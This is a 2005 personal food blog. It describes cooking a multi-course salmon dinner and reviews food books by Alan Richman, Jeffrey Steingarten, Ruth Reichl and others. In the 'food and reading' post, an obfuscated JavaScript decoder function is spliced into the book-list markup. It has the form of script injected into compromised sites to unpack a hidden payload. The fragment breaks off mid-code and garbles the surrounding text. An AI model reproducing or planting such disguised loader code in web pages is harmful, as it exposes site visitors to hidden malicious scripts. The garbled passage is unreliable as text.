The Cheese Twists were simple and tasty. It used puff pastry dought, brushed with an egg wash and sprinkled with grated gruyere and parmesan, chopped thyme, and salt and pepper. Cut into long strips, twist, and bake for about 15 minutes. Simple and quite tasty. Do not store leftovers in a plastic bag, it steals away their crispyness that makes them so addictive.

The seasoning for the roasted salmon took a while to make. It had at least 10 spice ingredients that needed ground into a powder. I started with the mortar and pestle, but switched to the mini-processor to get the task done faster. There were still things that needed an initial grinding before adding to the processor, but I couldn’t imagine actually grinding all of it by hand. It made a lot of seasoning and had I been smart I would have saved part of it instead of using the entire batch to dredge the salmon in. It was hard to throw out the leftovers after spending so much time making it. The seasonings worked well with the salmon, which was roasted skin up in a hot oven. This allowed the juices to mix with the spices and turned it into a textured glaze instead of a dry seasoning. It was quite yummy.

The Tomato/Red Pepper Sauce didn’t make it into any photos other than the final one. (The final dinner picture happened only because Chris had the sense to remind me that I would probably want a picture; by that late in the day and the process, I just wanted to sit down and eat.) It was supposed to be made from fresh tomatoes , skinned, seeded, and chopped, but I just couldn’t bring myself to do it at the end of the day–canned tomatoes to the rescue. I added roasted red peppers to the recipe, something that turned against me in the overall menu. The tomatoes and peppers are cooked in oil until reduced and then a wine, cream, and shallot reduction is added along with thyme and seasonings. Then add a stick of butter and viola, a delicious sauce full of red pepper flavor. In the menu, it overwhelmed the overall flavors and didn’t match well with the cucumber salad. Also, the salmon only needed a small amount of sauce and it probably would have worked out much better if I had left out the red peppers altogether. But I find them to be quite yummy and am looking forward to the dish I make with the leftovers.

The dinner went well and it was very enjoyable, despite my inability to match flavors better. I have company coming next week and we shall have at least one dinner next week to the same calibration. This being my first attempt to make such a complex meal, even with most dishes having simple recipes, and I must say that I did a great job.

July 29, 2005

food and reading

Filed under: books, food — suzanne henderson @ 6:47 pm

Fork It Over : The Intrepid Adventures of a Professional Eater The Man Who Ate Everything (Vintage) Garlic <script type=function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand Sapphires : The Secret Life of a Critic in Disguise” /> The Artful Eater: A Gourmet Investigates the Ingredients of Great Food

I’m still on a [food] [book] kick. I’m in the middle of three of these books and had some observations that I felt like sharing. I was able to find everything at my local library except for [The Artful Eater]. The first one, [Fork It Over], by [Alan Richman], is rather popular right now and I had to get in line on the hold list to get a copy. [The man Who Ate Everything], by [Jeffery Steingarten] has been sitting around on the shelves mostly untouched. The last returnstamp date says ‘Nov 29 2004′. Obviously there is no mad rush to read this one, not surprising since it is 8 years old. Steingarten does have a newer book (2002) that was sitting on the shelf waiting for me to return for seconds.

I eagerly started in on [Fork It Over], having just set down the entertaining and tasty [Garlic and Sapphires]. It is a collection of essays that was published in [GQ] magazine on the topic of food. This small point should have stood out a little more upon initial interest in the book. It didn’t take long for the book to get off to a bad start with me. The writer is arrogant, plain and simple, and talks so little about food that I wonder why he even bother’s considering himself a food critic. Now, here is where I should have realized that his audience for these pieces are GQ readers and maybe this style of writing is personally suited to their tastes and expectations of both men as writers and food. The essays are tedious to get through and I’ve left the book lost on tables and couches several times, not interested in finding where I left off. I will give it my customary attempt to complete the full book before totally ruling it off the chart of worthwhile reading, however, the due date quickly approaches and there is a whole line of people waiting to sink their teeth in. Maybe they will find it more worthwhile that I have, maybe they read GQ on a religious basis and feel that adding a pompous character to the typical dining experience will make this a treat to devour. Or, maybe they’ll pick it up, happy it has finally arrived, and also sit and gawk at the brutish nature of the author and the seemingly disregard for the expectation that the articles be about food.

I was reluctant to pick up [The Man Who Ate Everything]. It wasn’t because of the sour taste left by Richman’s book, but because the book didn’t look exciting. It’s paperback cover looked like it’d be shoved to the back of the shelf and forgotten. The ‘National Bestseller’ heading made me delay even longer, having found that claims like that, printed on the actual book, typically mean that the book needs help and it cannot stand alone of reputation but simply get by at the mere suggestion that if many people bought it, it must be good. Luckily, I found this book listed on another food website or food book review, so I knew that someone took the time to read and suggest it. And, when facing the opportunity to read more from [Fork It Over] or to head on the new and hopefully better things, I finally started reading.

Now, Steingarten is a great food writer. The articles are not always about the tastes of food but they do relate to food in every way. And, he seems completely interested in all things about eating and he conveys this with little trouble. The writing is so down to earth and easy to linger through. I feel that I could easily invite him over for a tall glass of ice tea and to discuss what new creative projects he has set out for. For example, he doesn’t just write about food in the simple tasting way, but really delves into his topics and offers up his own minorly-political commentary to boot. There is an entire article on catsup, not something I typically have an interest in, but in the methodological approach and witty syntax, it was an enjoyable adventure to embark on. He writes with the simplicity of the average person, there is no need to cater to some imagined stereotyped reader, but to write for the masses about the masses of food. I’m loving this book and hope to add it to my collection some day.

I have not forgotten about [The Artful Eater]. I am still working my way through it bit by bit, far more enchanted by it now than I was in the beginning. It must have been my bad mood talking before. This is a charming book, suited for quiet moments of life reflection and when you want to take your time. I find it to be the perfect before-bed-ritual-reading book because, along with the serene cover, the words float carefully through your mind and stir up subtle responses. I’m working on it one page of one article at a time and plan to finish it at a very leisurely rate.

July 19, 2005

Garlic and Sapphires : The Secret Life of a Critic in Disguise

Filed under: books, food — suzanne henderson @ 1:33 pm

Garlic and Sapphires : The Secret Life of a Critic in Disguise by Ruth Reichl

I just picked this up on 7-day loan from the library to supplement my other readings. So far I’ve made it through the first chapter over lunch and it looks very promising. I think this is her third book on the subject of food, hopefully they are not a prerequisite for this one.

Oh, and I’m also finding more little treasures in [The Artful Eater] as I occasionally pick it up and read more.

July 18, 2005

Book Review: The Artful Eater

Filed under: review, books, food — suzanne henderson @ 6:48 am

The Artful Eater

Current book that I’m reading and that I unfairly nitpicked last night. I’ll give it another chance since I’ve given it a few more glances and it has peaked my interest a little more in light of a little less crabby mood. However, I should still go pick up a another book at the store to read on the side.


I never really finished the book but still found it worthwhile. It is a book best suited for the moments when you’ve a small span of time to spare and don’t want to spend it doing nothing. All of my other food readings have provided me a wealth of information and this book added very little to my knowledge. Of course, if I was new to food it would be an informative rescource.

July 17, 2005

book quest

Filed under: books, food, life — suzanne henderson @ 9:41 pm

Finally went grocery shopping today. I get cranky when it doesn’t happen for a couple weeks, though it is as much my responsibility as anyone else’s. So, there is food in the house. I made banana muffins this afternoon, didn’t use any ingredients that came home from the store, and they turned out… edible. Chris likes them and agreed that they taste healthy, which I guess is the point, I think that they are awful, but I don’t really like banana bread to begin with. They didn’t look terribly inviting right out of the oven, just your average healthnut muffin.

In looking up websites today, i found a book that sounded pretty neat, [The Artful Eater]. The library didn’t carry it and I got all cranky about it because they didn’t carry that nor any of the other books that I was also looking for this afternoon.

We ended up going out to eat at a little place in… some no-name neighborhood in Columbia (because I wanted fettucini alfredo, and we were hoping to find somewhere besides [pasta plus] that serves a good bowl of pasta) and then went to the book store to pick up some books.

We first went to [Daedalus Books] in [Columbia, MD] to check out their selection. While their selection is limited, the discount prices are worth checking out. Chris walked out with several new books for under $40. And at least one of the books would have listed for that much at our next stop: [Borders]. At Borders, I found the book that I wanted and nothing more. I’m feeling a little overwhelmed by spaces right now, so the rows and rows of books were a bit too much. I was happy to get my book and just wander around without intent until we were ready to leave.

But, it turns out, that I don’t think I care too much for the book I have. I’ve read a few of the essays from it and I’m not all that impressed with what I’ve see. I guess I have just watched too many [Good Eats] episodes and read too many things by [Alton Brown] and that this author isn’t able to hold my interest as he, rather dryly, doles out the historical and gourmetical qualities of basic ingredients of food. I’ve already had my modern-Americanize-flash-media attention-deficient-disorder catered dose of similar information severed to me in a far more tasteful platter and I don’t have a snooty snout that needs to pretend that I need fine dining airs to make my basic ingredient knowledge feel more complete. Not to say that it isn’t a really neat book, I’m just cranky and frustrated that I’ve gone to so much trouble to get a book that appears to be a dissapointment. If it had be any other day, I’m sure I’d be appropriately amused by the author’s essays and have said it is a quaint additions to a cook’s bookshelf for the curious visitor to stumble upon.